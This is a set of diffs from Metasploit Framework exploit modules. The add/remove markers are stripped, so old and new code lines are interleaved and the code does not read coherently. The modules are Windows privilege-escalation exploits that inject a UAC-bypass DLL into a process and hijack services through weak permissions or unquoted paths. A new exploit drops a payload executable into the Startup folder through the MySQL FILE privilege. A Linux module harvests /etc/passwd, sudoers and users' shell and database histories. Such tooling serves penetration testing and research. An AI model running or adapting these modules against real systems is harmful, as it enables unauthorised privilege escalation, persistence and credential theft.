end
else
if (target_arch.first =~ /64/i) or (payload_instance.arch.first =~ /64/i)
fail_with(
Exploit::Failure::BadConfig,
"x64 Target Selected for x86 System"
)
end
::File.join(path, "bypassuac-x86.dll")
when UAC_DEFAULT
print_good('UAC is set to Default')
print_good('BypassUAC can bypass this setting, continuing...')
when UAC_NO_PROMPT
print_warning('UAC set to DoNotPrompt - using ShellExecute "runas" method instead')
shell_execute_exe
return
end
dll_path = bypass_dll_path
payload_filepath = "#{env_vars['TEMP']}\\#{rand_text_alpha(8)}.dll"
upload_payload_dll(payload_filepath)
pid = spawn_inject_proc(env_vars['WINDIR'])
file_paths = get_file_paths(env_vars['WINDIR'], payload_filepath)
run_injection(pid, dll_path, file_paths)
# Windows 7 this is cleared up by DLL but on Windows
# 8.1 it fails to delete the the file.
register_file_for_cleanup(file_paths[:szElevDllFull])
end
def bypass_dll_path
# path to the bypassuac binary
path = ::File.join(Msf::Config.data_directory, 'post')
# decide, x86 or x64
sysarch = sysinfo['Architecture']
if sysarch =~ /x64/i
unless (target_arch.first =~ /64/i) && (payload_instance.arch.first =~ /64/i)
fail_with(
Exploit::Failure::BadConfig,
'x86 Target Selected for x64 System'
)
end
return ::File.join(path, 'bypassuac-x64.dll')
else
if (target_arch.first =~ /64/i) || (payload_instance.arch.first =~ /64/i)
fail_with(
Exploit::Failure::BadConfig,
'x64 Target Selected for x86 System'
)
end
return ::File.join(path, 'bypassuac-x86.dll')
end
end
def check_permissions!
# Check if you are an admin
@ -97,139 +136,135 @@ class Metasploit3 < Msf::Exploit::Local
if admin_group
print_good('Part of Administrators group! Continuing...')
else
fail_with(Exploit::Failure::NoAccess, "Not in admins group, cannot escalate with this module")
fail_with(Exploit::Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
end
end
if get_integrity_level == INTEGRITY_LEVEL_SID[:low]
fail_with(Exploit::Failure::NoAccess, "Cannot BypassUAC from Low Integrity Level")
fail_with(Exploit::Failure::NoAccess, 'Cannot BypassUAC from Low Integrity Level')
end
end
def exploit
validate_environment!
case get_uac_level
when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP, UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP, UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT
fail_with(Exploit::Failure::NotVulnerable,
"UAC is set to 'Always Notify'\r\nThis module does not bypass this setting, exiting..."
)
when UAC_DEFAULT
print_good "UAC is set to Default"
print_good "BypassUAC can bypass this setting, continuing..."
when UAC_NO_PROMPT
print_warning "UAC set to DoNotPrompt - using ShellExecute 'runas' method instead"
runas_method
return
end
check_permissions!
@temp_path = expand_path('%TEMP%').strip
upload_payload_dll!
pid = spawn_inject_proc
run_injection(pid, bypass_dll_path)
# delete the uac bypass payload
vprint_status("Cleaning up payload file...")
file_rm(payload_filepath)
end
def payload_filepath
"#{@temp_path}\\CRYPTBASE.dll"
end
def runas_method
payload = generate_payload_exe
payload_filename = Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe"
tmpdir = expand_path("%TEMP%")
tempexe = tmpdir + "\\" + payload_filename
write_file(tempexe, payload)
print_status("Uploading payload: #{tempexe}")
session.railgun.shell32.ShellExecuteA(nil,"runas",tempexe,nil,nil,5)
print_status("Payload executed")
end
def run_injection(pid, dll_path)
def run_injection(pid, dll_path, file_paths)
vprint_status("Injecting #{datastore['DLL_PATH']} into process ID #{pid}")
begin
path_struct = create_struct(file_paths)
vprint_status("Opening process #{pid}")
host_process = client.sys.process.open(pid.to_i, PROCESS_ALL_ACCESS)
exploit_mem, offset = inject_dll_into_process(host_process, dll_path)
vprint_status("Executing payload")
thread = host_process.thread.create(exploit_mem + offset, 0)
vprint_status("Injecting struct into #{pid}")
struct_addr = host_process.memory.allocate(path_struct.length)
host_process.memory.write(struct_addr, path_struct)
vprint_status('Executing payload')
thread = host_process.thread.create(exploit_mem + offset, struct_addr)
print_good("Successfully injected payload in to process: #{pid}")
client.railgun.kernel32.WaitForSingleObject(thread.handle,14000)
client.railgun.kernel32.WaitForSingleObject(thread.handle, 14000)
rescue Rex::Post::Meterpreter::RequestError => e
print_error("Failed to Inject Payload to #{pid}!")
vprint_error(e.to_s)
end
end
def spawn_inject_proc
windir = expand_path("%WINDIR%").strip
print_status("Spawning process with Windows Publisher Certificate, to inject into...")
cmd = "#{windir}\\System32\\notepad.exe"
# Create a process in the native architecture
def spawn_inject_proc(win_dir)
print_status('Spawning process with Windows Publisher Certificate, to inject into...')
if sysinfo['Architecture'] =~ /wow64/i
cmd = "#{win_dir}\\sysnative\\notepad.exe"
else
cmd = "#{win_dir}\\System32\\notepad.exe"
end
pid = cmd_exec_get_pid(cmd)
unless pid
fail_with(Exploit::Failure::Unknown, "Spawning Process failed...")
fail_with(Exploit::Failure::Unknown, 'Spawning Process failed...')
end
pid
end
def upload_payload_dll!
def upload_payload_dll(payload_filepath)
payload = generate_payload_dll({:dll_exitprocess => true})
print_status("Uploading the Payload DLL to the filesystem...")
print_status('Uploading the Payload DLL to the filesystem...')
begin
vprint_status("Payload DLL #{payload.length} bytes long being uploaded..")
write_file(payload_filepath, payload)
register_file_for_cleanup(payload_filepath)
rescue Rex::Post::Meterpreter::RequestError => e
fail_with(
Exploit::Exception::Unknown,
Exploit::Failure::Unknown,
"Error uploading file #{payload_filepath}: #{e.class} #{e}"
)
end
end
def validate_environment!
fail_with(Exploit::Failure::None, 'Already in elevated state') if is_admin? or is_system?
fail_with(Exploit::Failure::None, 'Already in elevated state') if is_admin? || is_system?
winver = sysinfo["OS"]
winver = sysinfo['OS']
unless winver =~ /Windows 2008|Windows [7]/
case winver
when /Windows (7|8|2008|2012)/
print_good("#{winver} may be vulnerable.")
else
fail_with(Exploit::Failure::NotVulnerable, "#{winver} is not vulnerable.")
end
if is_uac_enabled?
print_status "UAC is Enabled, checking level..."
print_status('UAC is Enabled, checking level...')
else
if is_in_admin_group?
fail_with(Exploit::Failure::Unknown, "UAC is disabled and we are in the admin group so something has gone wrong...")
else
fail_with(Exploit::Failure::NoAccess, "Not in admins group, cannot escalate with this module")
unless is_in_admin_group?
fail_with(Exploit::Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
end
end
end
def get_file_paths(win_path, payload_filepath)
paths = {}
case sysinfo['OS']
when /Windows (7|2008)/
paths[:szElevDll] = 'CRYPTBASE.dll'
paths[:szElevDir] = "#{win_path}\\System32\\sysprep"
paths[:szElevDirSysWow64] = "#{win_path}\\sysnative\\sysprep"
paths[:szElevExeFull] = "#{paths[:szElevDir]}\\sysprep.exe"
when /Windows (8|2012)/
paths[:szElevDll] = 'NTWDBLIB.dll'
paths[:szElevDir] = "#{win_path}\\System32"
# This should be fine to be left blank
paths[:szElevDirSysWow64] = ''
paths[:szElevExeFull] = "#{paths[:szElevDir]}\\cliconfg.exe"
end
paths[:szElevDllFull] = "#{paths[:szElevDir]}\\#{paths[:szElevDll]}"
paths[:szTempDllPath] = payload_filepath
paths
end
# Creates the paths struct which contains all the required paths
# the dll needs to copy/execute etc.
def create_struct(paths)
# write each path to the structure in the order they
# are defined in the bypass uac binary.
struct = ''
struct << fill_struct_path(paths[:szElevDir])
struct << fill_struct_path(paths[:szElevDirSysWow64])
struct << fill_struct_path(paths[:szElevDll])
struct << fill_struct_path(paths[:szElevDllFull])
struct << fill_struct_path(paths[:szElevExeFull])
struct << fill_struct_path(paths[:szTempDllPath])
struct
end
def fill_struct_path(path)
path = Rex::Text.to_unicode(path)
path + "\x00" * (520 - path.length)
end
end

View File

@ -113,8 +113,13 @@ class Metasploit3 < Msf::Exploit::Local
begin
print_status("#{server.ljust(16)} Creating service #{name}")
# 3 is Manual startup. Should probably have constants for this junk
service_create(name, display_name, service_executable, 3, server)
service_create(name,
{
:display => display_name,
:path => service_executable,
:starttype=> "START_TYPE_MANUAL"
},
server)
# If everything went well, this will create a session. If not, it
# might be permissions issues or possibly we failed to create the

View File

@ -69,7 +69,7 @@ class Metasploit3 < Msf::Exploit::Local
return false
end
if srv_info && srv_info['Name'].empty?
if srv_info && srv_info[:display].empty?
print_warning("Service #{service} does not exist.")
return false
else
@ -78,15 +78,15 @@ class Metasploit3 < Msf::Exploit::Local
end
def check
srv_info = service_info(@service_name)
if !check_service_exists?(@service_name)
return Exploit::CheckCode::Safe
end
srv_info = service_info(@service_name)
vprint_status(srv_info.to_s)
case srv_info['Startup']
case START_TYPE[srv_info[:starttype]]
when 'Disabled'
vprint_error("Service startup is Disabled, so will be unable to exploit unless account has correct permissions...")
return Exploit::CheckCode::Safe
@ -235,17 +235,6 @@ class Metasploit3 < Msf::Exploit::Local
service_information = service_info(@service_name)
if service_information['Startup'] == 'Disabled'
print_status("Service is disabled, attempting to enable...")
service_change_startup(@service_name, 'auto')
service_information = service_info(@service_name)
# Still disabled
if service_information['Startup'] == 'Disabled'
fail_with(Exploit::Failure::NotVulnerable, "Unable to enable service, aborting...")
end
end
# Check architecture
dll = generate_payload_dll
@ -265,29 +254,11 @@ class Metasploit3 < Msf::Exploit::Local
# Run the service, let the Windows API do the rest
#
print_status("Launching service #{@service_name}...")
begin
status = service_start(@service_name)
if status == 1
print_status("Service already running, attempting to restart...")
if service_stop(@service_name) == 0
print_status("Service stopped, attempting to start...")
if service_start(@service_name) == 0
print_status("Service started...")
else
fail_with(Exploit::Failure::Unknown, "Unable to start service.")
end
else
fail_with(Exploit::Failure::Unknown, "Unable to stop service")
end
elsif status == 0
print_status("Service started...")
end
rescue RuntimeError => e
raise e if e.kind_of? Msf::Exploit::Failed
if service_information['Startup'] == 'Manual'
fail_with(Exploit::Failure::Unknown, "Unable to start service, and it does not auto start, cleaning up...")
else
if service_restart(@service_name)
print_status("Service started...")
else
service_information = service_info(@service_name)
if service_information[:starttype] == START_TYPE_AUTO
if job_id
print_status("Unable to start service, handler running waiting for a reboot...")
while(true)
@ -297,6 +268,8 @@ class Metasploit3 < Msf::Exploit::Local
else
fail_with(Exploit::Failure::Unknown, "Unable to start service, use exploit -j to run as a background job and wait for a reboot...")
end
else
fail_with(Exploit::Failure::Unknown, "Unable to start service, and it does not auto start, cleaning up...")
end
end
end

View File

@ -77,8 +77,8 @@ class Metasploit3 < Msf::Exploit::Local
os = sysinfo["OS"]
if os =~ /windows/i
svc = service_info 'nvsvc'
if svc and svc['Name'] =~ /NVIDIA/i
vprint_good("Found service '#{svc['Name']}'")
if svc and svc[:display] =~ /NVIDIA/i
vprint_good("Found service '#{svc[:display]}'")
begin
if is_running?
@ -92,10 +92,10 @@ class Metasploit3 < Msf::Exploit::Local
end
if sysinfo['Architecture'] =~ /WOW64/i
path = svc['Command'].gsub('"','').strip
path = svc[:path].gsub('"','').strip
path.gsub!("system32","sysnative")
else
path = svc['Command'].gsub('"','').strip
path = svc[:path].gsub('"','').strip
end
begin

View File

@ -9,7 +9,13 @@ require 'rex'
class Metasploit3 < Msf::Exploit::Local
Rank = GreatRanking
include Msf::Post::File
include Msf::Post::Windows::Services
include Msf::Post::Windows::Accounts
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
ERROR = Msf::Post::Windows::Error
def initialize(info={})
super( update_info( info,
@ -19,10 +25,7 @@ class Metasploit3 < Msf::Exploit::Local
a SYSTEM session. If directly creating a service fails, this module will inspect
existing services to look for insecure file or configuration permissions that may
be hijacked. It will then attempt to restart the replaced service to run the
payload. This will result in a new session when this succeeds. If the module is
able to modify the service but does not have permission to start and stop the
affected service, the attacker must wait for the system to restart before a
session will be created.
payload. This will result in a new session when this succeeds.
},
'License' => MSF_LICENSE,
'Author' => [ 'scriptjunkie' ],
@ -48,149 +51,153 @@ class Metasploit3 < Msf::Exploit::Local
end
def exploit
# randomize the filename
filename= Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe"
# randomize the exe name
tempexe_name = Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe"
raw = payload.encoded
exe = Msf::Util::EXE.to_win32pe_service(session.framework, raw)
dir_env = session.sys.config.getenvs('SystemRoot', 'TEMP')
sysdir = dir_env['SystemRoot']
tmpdir = dir_env['TEMP']
print_status("Meterpreter stager executable #{exe.length} bytes long being uploaded..")
begin
#
# Upload the payload to the filesystem
#
tempexe = tmpdir + "\\" + tempexe_name
fd = session.fs.file.new(tempexe, "wb")
fd.write(exe)
fd.close
rescue ::Exception => e
print_error("Error uploading file #{filename}: #{e.class} #{e}")
return
end
#attempt to make new service
#SERVICE_NO_CHANGE 0xffffffff for DWORDS or NULL for pointer values leaves the current config
def execute_payload_as_new_service(path)
success = false
print_status("Trying to add a new service...")
adv = session.railgun.advapi32
manag = adv.OpenSCManagerA(nil,nil,0x10013)
if(manag["return"] != 0)
# SC_MANAGER_CREATE_SERVICE = 0x0002
# SERVICE_START=0x0010 SERVICE_WIN32_OWN_PROCESS= 0X00000010
# SERVICE_AUTO_START = 2 SERVICE_ERROR_IGNORE = 0
newservice = adv.CreateServiceA(manag["return"],Rex::Text.rand_text_alpha((rand(8)+6)),
"",0x0010,0X00000010,2,0,tempexe,nil,nil,nil,nil,nil)
if(newservice["return"] != 0)
print_status("Created service... #{newservice["return"]}")
ret = adv.StartServiceA(newservice["return"], 0, nil)
print_status("Service should be started! Enjoy your new SYSTEM meterpreter session.")
adv.DeleteService(newservice["return"])
adv.CloseServiceHandle(newservice["return"])
if datastore['AGGRESSIVE'] != true
adv.CloseServiceHandle(manag["return"])
return
end
else
print_error("Uhoh. service creation failed, but we should have the permissions. :-(")
service_name = Rex::Text.rand_text_alpha((rand(8)+6))
if service_create(service_name, {:path => path, :display=>""}) == ERROR::SUCCESS
print_status("Created service... #{service_name}")
write_exe(path, service_name)
if service_start(service_name) == ERROR::SUCCESS
print_good("Service should be started! Enjoy your new SYSTEM meterpreter session.")
success = true
end
service_delete(service_name)
else
print_status("No privs to create a service...")
manag = adv.OpenSCManagerA(nil,nil,1)
if(manag["return"] == 0)
print_status("Cannot open sc manager. You must have no privs at all. Ridiculous.")
success = false
end
return success
end
def weak_service_permissions(service_name, service, path)
success = false
vprint_status("[#{service_name}] Checking for weak service permissions")
if (service_change_config(service_name, {:path => path}) == ERROR::SUCCESS)
print_good("[#{service_name}] has weak configuration permissions - reconfigured to use exe #{path}")
print_status("[#{service_name}] Restarting service")
res = service_stop(service_name)
if ((res == ERROR::SUCCESS) || (res == ERROR::SERVICE_NOT_ACTIVE))
write_exe(path, service_name)
if service_restart(service_name)
print_good("[#{service_name}] Service restarted")
success = true
else
print_error("[#{service_name}] Unable to restart service")
end
end
unless (service_change_config(service_name, {:path => service[:path]}) == ERROR::SUCCESS)
print_error("[#{service_name}] Failed to reset service to original path #{service[:path]}")
end
end
print_status("Trying to find weak permissions in existing services..")
#Search through list of services to find weak permissions, whether file or config
serviceskey = "HKLM\\SYSTEM\\CurrentControlSet\\Services"
#for each service
service_list.each do |serv|
begin
srvtype = registry_getvaldata("#{serviceskey}\\#{serv}","Type").to_s
if srvtype != "16"
continue
end
moved = false
configed = false
#default path, but there should be an ImagePath registry key
source = "#{sysdir}\\system32\\#{serv}.exe"
#get path to exe; parse out quotes and arguments
sourceorig = registry_getvaldata("#{serviceskey}\\#{serv}","ImagePath").to_s
sourcemaybe = session.fs.file.expand_path(sourceorig)
if( sourcemaybe[0] == '"' )
sourcemaybe = sourcemaybe.split('"')[1]
else
sourcemaybe = sourcemaybe.split(' ')[0]
end
begin
session.fs.file.stat(sourcemaybe) #check if it really exists
source = sourcemaybe
rescue
print_status("Cannot reliably determine path for #{serv} executable. Trying #{source}")
end
#try to exploit weak file permissions
if(source != tempexe && session.railgun.kernel32.MoveFileA(source, source+'.bak')["return"])
session.railgun.kernel32.CopyFileA(tempexe, source, false)
print_status("#{serv} has weak file permissions - #{source} moved to #{source+'.bak'} and replaced.")
moved = true
end
#try to exploit weak config permissions
#open with SERVICE_CHANGE_CONFIG (0x0002)
servhandleret = adv.OpenServiceA(manag["return"],serv,2)
if(servhandleret["return"] != 0)
#SERVICE_NO_CHANGE is 0xFFFFFFFF
if(adv.ChangeServiceConfigA(servhandleret["return"],0xFFFFFFFF,
0xFFFFFFFF,0xFFFFFFFF,tempexe,nil,nil,nil,nil,nil,nil))
print_status("#{serv} has weak configuration permissions - reconfigured to use exe #{tempexe}.")
configed = true
end
adv.CloseServiceHandle(servhandleret["return"])
end
if(moved != true && configed != true)
print_status("No exploitable weak permissions found on #{serv}")
continue
end
print_status("Restarting #{serv}")
#open with SERVICE_START (0x0010) and SERVICE_STOP (0x0020)
servhandleret = adv.OpenServiceA(manag["return"],serv,0x30)
if(servhandleret["return"] != 0)
#SERVICE_CONTROL_STOP = 0x00000001
if(adv.ControlService(servhandleret["return"],1,56))
session.railgun.kernel32.Sleep(1000)
adv.StartServiceA(servhandleret["return"],0,nil)
print_status("#{serv} restarted. You should get a system meterpreter soon. Enjoy.")
#Cleanup
if moved == true
session.railgun.kernel32.MoveFileExA(source+'.bak', source, 1)
end
if configed == true
servhandleret = adv.OpenServiceA(manag["return"],serv,2)
adv.ChangeServiceConfigA(servhandleret["return"],0xFFFFFFFF,
0xFFFFFFFF,0xFFFFFFFF,sourceorig,nil,nil,nil,nil,nil,nil)
adv.CloseServiceHandle(servhandleret["return"])
end
else
print_status("Could not restart #{serv}. Wait for a reboot or force one yourself.")
end
adv.CloseServiceHandle(servhandleret["return"])
if datastore['AGGRESSIVE'] != true
return
end
return success
end
def weak_file_permissions(service_name, service, path, token)
success = false
vprint_status("[#{service_name}] Checking for weak file permissions")
#get path to exe; parse out quotes and arguments
original_path = service[:path]
possible_path = expand_path(original_path)
if (possible_path[0] == '"')
possible_path = possible_path.split('"')[1]
else
possible_path = possible_path.split(' ')[0]
end
unless file?(possible_path)
# If we cant determine it manually show the user and let them decide if manual inspection is worthwhile
print_status("[#{service_name}] Cannot reliably determine path: #{service[:path]}")
end
file_permissions = check_dir_perms(possible_path, token)
if file_permissions && file_permissions.index('W')
print_good("[#{service_name}] Write access to #{possible_path}")
begin
status = service_status(service_name)
no_access = false
# Unless service is already stopped
if status[:state] == SERVICE_STOPPED
stopped = true
else
print_status("Could not restart #{serv}. Wait for a reboot. (or force one yourself)")
res = service_stop(service_name)
stopped = ((res == ERROR::SUCCESS) || (res == ERROR::SERVICE_NOT_ACTIVE))
end
rescue
rescue RuntimeError => e
vprint_error("[#{service_name}] #{e} ")
no_access = true
end
if stopped or no_access
begin
if move_file(possible_path, possible_path+'.bak')
write_exe(possible_path, service_name)
print_status("[#{service_name}] #{possible_path} moved to #{possible_path+'.bak'} and replaced.")
if service_restart(service_name)
print_good("[#{service_name}] Service restarted")
success = true
else
print_error("Unable to restart service")
end
end
rescue Rex::Post::Meterpreter::RequestError => e
vprint_error("[#{service_name}] #{e}")
end
else
vprint_error("[#{service_name}] Unable to stop service")
end
end
return success
end
# If ServiceType is SERVICE_WIN32_SHARE_PROCESS then we need to
# define the correct servicename.
def write_exe(path, service_name=nil)
vprint_status("[#{service_name}] Writing service executable to #{path}")
exe = generate_payload_exe_service({:servicename=>service_name})
write_file(path, exe)
register_files_for_cleanup(path)
end
def exploit
filename = Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe"
tempexe_name = Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe"
dir_env = get_envs('SystemRoot', 'TEMP')
sysdir = dir_env['SystemRoot']
tmpdir = dir_env['TEMP']
tempexe = tmpdir + "\\" + tempexe_name
begin
return if execute_payload_as_new_service(tempexe)
rescue RuntimeError => e
vprint_status("Unable to create a new service: #{e}")
end
aggressive = datastore['AGGRESSIVE']
print_status("Trying to find weak permissions in existing services..")
token = get_imperstoken
each_service do |serv|
service_name = serv[:name]
service = service_info(service_name)
begin
return if weak_file_permissions(service_name, service, tempexe, token) and not aggressive
return if weak_service_permissions(service_name, service, tempexe) and not aggressive
rescue RuntimeError => e
vprint_status("[#{serv[:name]}] #{e}")
end
end
end

View File

@ -9,6 +9,7 @@ require 'msf/core/exploit/exe'
class Metasploit3 < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Exploit::FileDropper
include Msf::Exploit::EXE
include Msf::Post::File
include Msf::Post::Windows::Services
@ -44,10 +45,8 @@ class Metasploit3 < Msf::Exploit::Local
],
'Platform' => [ 'win'],
'Targets' => [ ['Windows', {}] ],
'SessionTypes' => [ "shell", "meterpreter" ],
'SessionTypes' => [ "meterpreter" ],
'DefaultTarget' => 0,
# Migrate away, in case the service dies (can kill access)
'DefaultOptions' => { 'InitialAutoRunScript' => 'migrate -f' }
))
end
@ -65,28 +64,27 @@ class Metasploit3 < Msf::Exploit::Local
def enum_vuln_services(quick=false)
vuln_services = []
service_list.each do |name|
info = service_info(name)
each_service do |service|
info = service_info(service[:name])
# Sometimes there's a null byte at the end of the string,
# and that can break the regex -- annoying.
cmd = info['Command'].strip
if info[:path]
cmd = info[:path].strip
# Check path:
# - Filter out paths that begin with a quote
# - Filter out paths that don't have a space
next if cmd !~ /^[a-z]\:.+\.exe$/i
next if not cmd.split("\\").map {|p| true if p =~ / /}.include?(true)
# Check path:
# - Filter out paths that begin with a quote
# - Filter out paths that don't have a space
next if cmd !~ /^[a-z]\:.+\.exe$/i
next if not cmd.split("\\").map {|p| true if p =~ / /}.include?(true)
# Filter out services that aren't launched as SYSTEM
next if info['Credentials'] !~ /LocalSystem/
vprint_status("Found vulnerable service: #{service[:name]} - #{cmd} (#{info[:startname]})")
vuln_services << [service[:name], cmd]
vprint_status("Found vulnerable service: #{name} - #{cmd} (#{info['Credentials']})")
vuln_services << [name, cmd]
# This process can be pretty damn slow.
# Allow the user to just find one, and get the hell out.
break if not vuln_services.empty? and quick
# This process can be pretty damn slow.
# Allow the user to just find one, and get the hell out.
break if not vuln_services.empty? and quick
end
end
return vuln_services
@ -99,69 +97,32 @@ class Metasploit3 < Msf::Exploit::Local
#
print_status("Finding a vulnerable service...")
svrs = enum_vuln_services(true)
if svrs.empty?
print_error("No service found with trusted path issues")
return
end
fail_with(Failure::NotVulnerable, "No service found with trusted path issues") if svrs.empty?
svr_name = svrs.first[0]
fpath = svrs.first[1]
exe_path = "#{fpath.split(' ')[0]}.exe"
print_status("Placing #{exe_path} as #{svr_name}")
print_status("Placing #{exe_path} for #{svr_name}")
#
# Drop the malicious executable into the path
#
exe = generate_payload_exe
exe = generate_payload_exe_service({:servicename=>svr_name})
print_status("Writing #{exe.length.to_s} bytes to #{exe_path}...")
begin
write_file(exe_path, exe)
register_files_for_cleanup(exe_path)
rescue Rex::Post::Meterpreter::RequestError => e
# Can't write the file, can't go on
print_error(e.message)
return
fail_with(Failure::Unknown, e.message)
end
#
# Run the service, let the Windows API do the rest
#
print_status("Launching service #{svr_name}...")
tried = false
begin
status = service_start(svr_name)
raise RuntimeError, status if status != 0
rescue RuntimeError => s
if tried
print_error("Unable to start #{svr_name}")
return
else
tried = true
end
case s.message.to_i
when 1
# Service already started, restart again
service_stop(svr_name)
retry
when 2
# Service disabled, enable it
service_change_startup(svr_name, 'manual')
retry
end
end
#
# "Nothing ever happened, we swears it on the Precious!"
#
print_status("Deleting #{exe_path}")
begin
cmd_exec("cmd /c del \"#{exe_path}\"")
rescue ::Exception => e
print_error("Unable to remove #{exe_path}: #{e.message}")
end
service_restart(svr_name)
end
end

View File

@ -13,7 +13,6 @@ class Metasploit3 < Msf::Exploit::Local
include Msf::Post::File
include Msf::Post::Windows::Priv
include Msf::Post::Windows::ShadowCopy
include Msf::Post::Windows::Services
include Msf::Post::Windows::Registry
include Msf::Exploit::EXE

View File

@ -0,0 +1,143 @@
##
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::MYSQL
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'Oracle MySQL for Microsoft Windows FILE Privilege Abuse',
'Description' => %q{
This module takes advantage of a file privilege misconfiguration problem
specifically against Windows MySQL servers. This module abuses the FILE
privilege to write a payload to Microsoft's All Users Start Up directory
which will execute every time a user logs in. The default All Users Start
Up directory used by the module is Windows 7 friendly.
},
'Author' =>
[
'sinn3r',
'Sean Verity <veritysr1980[at]gmail.com'
],
'DefaultOptions' =>
{
'DisablePayloadHandler' => 'true'
},
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2012-5613'], #DISPUTED
['OSVDB', '88118'],
['EDB', '23083'],
['URL', 'http://seclists.org/fulldisclosure/2012/Dec/13']
],
'Platform' => 'win',
'Targets' =>
[
[ 'MySQL on Windows', { } ]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Dec 01 2012'
))
register_options(
[
OptString.new('USERNAME', [ true, 'The username to authenticate as']),
OptString.new('PASSWORD', [ true, 'The password to authenticate with']),
OptString.new('STARTUP_FOLDER', [ true, 'The All Users Start Up folder', '/programdata/microsoft/windows/start menu/programs/startup/'])
])
end
def check
m = mysql_login(datastore['USERNAME'], datastore['PASSWORD'])
return Exploit::CheckCode::Safe unless m
return Exploit::CheckCode::Appears if is_windows?
Exploit::CheckCode::Safe
end
def peer
"#{rhost}:#{rport}"
end
def query(q)
rows = []
begin
res = mysql_query(q)
return rows unless res
res.each_hash do |row|
rows << row
end
rescue RbMysql::ParseError
return rows
end
rows
end
def is_windows?
r = query("SELECT @@version_compile_os;")
r[0]['@@version_compile_os'] =~ /^Win/ ? true : false
end
def get_drive_letter
r = query("SELECT @@tmpdir;")
drive = r[0]['@@tmpdir'].scan(/^(\w):/).flatten[0] || ''
drive
end
def upload_file(bin, dest)
p = bin.unpack("H*")[0]
query("SELECT 0x#{p} into DUMPFILE '#{dest}'")
end
def exploit
unless datastore['STARTUP_FOLDER'].start_with?('/') && datastore['STARTUP_FOLDER'].end_with?('/')
fail_with(Failure::BadConfig, "STARTUP_FOLDER should start and end with '/' Ex: /programdata/microsoft/windows/start menu/programs/startup/")
end
print_status("#{peer} - Attempting to login as '#{datastore['USERNAME']}:#{datastore['PASSWORD']}'")
begin
m = mysql_login(datastore['USERNAME'], datastore['PASSWORD'])
rescue RbMysql::AccessDeniedError
fail_with(Failure::NoAccess, "#{peer} - Access denied")
end
fail_with(Failure::NoAccess, "#{peer} - Unable to Login") unless m
unless is_windows?
fail_with(Failure::NoTarget, "#{peer} - Remote host isn't Windows")
end
begin
drive = get_drive_letter
rescue RbMysql::ParseError
fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine drive name")
end
fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine drive name") unless drive
exe_name = Rex::Text::rand_text_alpha(5) + ".exe"
dest = "#{drive}:#{datastore['STARTUP_FOLDER']}#{exe_name}"
exe = generate_payload_exe
print_status("#{peer} - Uploading to '#{dest}'")
begin
upload_file(exe, dest)
rescue RbMysql::AccessDeniedError
fail_with(Failure::NotVulnerable, "#{peer} - No permission to write. I blame kc :-)")
end
register_file_for_cleanup("#{dest}")
end
end

View File

@ -11,50 +11,57 @@ class Metasploit3 < Msf::Post
include Msf::Post::File
include Msf::Post::Linux::System
def initialize(info={})
super( update_info( info,
'Name' => 'Linux Gather User History',
'Description' => %q{
This module gathers user specific information.
User list, bash history, mysql history, vim history,
lastlog and sudoers.
},
'License' => MSF_LICENSE,
'Author' =>
[
# based largely on get_bash_history function by Stephen Haywood
'ohdae <bindshell[at]live.com>'
],
'Platform' => ['linux'],
'SessionTypes' => ['shell', 'meterpreter']
))
def initialize(info = {})
super(update_info(info,
'Name' => 'Linux Gather User History',
'Description' => %q{
This module gathers the following user-specific information:
shell history, MySQL history, PostgreSQL history, MongoDB history,
Vim history, lastlog, and sudoers.
},
'License' => MSF_LICENSE,
'Author' =>
[
# based largely on get_bash_history function by Stephen Haywood
'ohdae <bindshell[at]live.com>'
],
'Platform' => ['linux'],
'SessionTypes' => ['shell', 'meterpreter']
))
end
def run
distro = get_sysinfo
print_good("Info:")
print_good('Info:')
print_good("\t#{distro[:version]}")
print_good("\t#{distro[:kernel]}")
users = execute("/bin/cat /etc/passwd | cut -d : -f 1")
user = execute("/usr/bin/whoami")
user = execute('/usr/bin/whoami')
users = execute('/bin/cat /etc/passwd | cut -d : -f 1').chomp.split
users = [user] if user != 'root' || users.blank?
mount = execute("/bin/mount -l")
get_bash_history(users, user)
get_sql_history(users, user)
get_vim_history(users, user)
last = execute("/usr/bin/last && /usr/bin/lastlog")
sudoers = cat_file("/etc/sudoers")
vprint_status("Retrieving history for #{users.length} users")
shells = %w{ash bash csh ksh sh tcsh zsh}
users.each do |u|
home = get_home_dir(u)
shells.each do |shell|
get_shell_history(u, home, shell)
end
get_mysql_history(u, home)
get_psql_history(u, home)
get_mongodb_history(u, home)
get_vim_history(u, home)
end
save("Last logs", last) unless last.nil?
save("Sudoers", sudoers) unless sudoers.nil? || sudoers =~ /Permission denied/
last = execute('/usr/bin/last && /usr/bin/lastlog')
sudoers = cat_file('/etc/sudoers')
save('Last logs', last) unless last.blank?
save('Sudoers', sudoers) unless sudoers.blank? || sudoers =~ /Permission denied/
end
def save(msg, data, ctype="text/plain")
ltype = "linux.enum.users"
def save(msg, data, ctype = 'text/plain')
ltype = 'linux.enum.users'
loot = store_loot(ltype, ctype, session, data, nil, msg)
print_status("#{msg} stored in #{loot.to_s}")
end
@ -62,91 +69,66 @@ class Metasploit3 < Msf::Post
def get_host
case session.type
when /meterpreter/
host = sysinfo["Computer"]
host = sysinfo['Computer']
when /shell/
host = session.shell_command_token("hostname").chomp
host = session.shell_command_token('hostname').chomp
end
print_status("Running module against #{host}")
return host
host
end
def execute(cmd)
vprint_status("Execute: #{cmd}")
output = cmd_exec(cmd)
return output
output
end
def cat_file(filename)
vprint_status("Download: #{filename}")
output = read_file(filename)
return output
output
end
def get_bash_history(users, user)
if user == "root" and users != nil
users = users.chomp.split()
users.each do |u|
if u == "root"
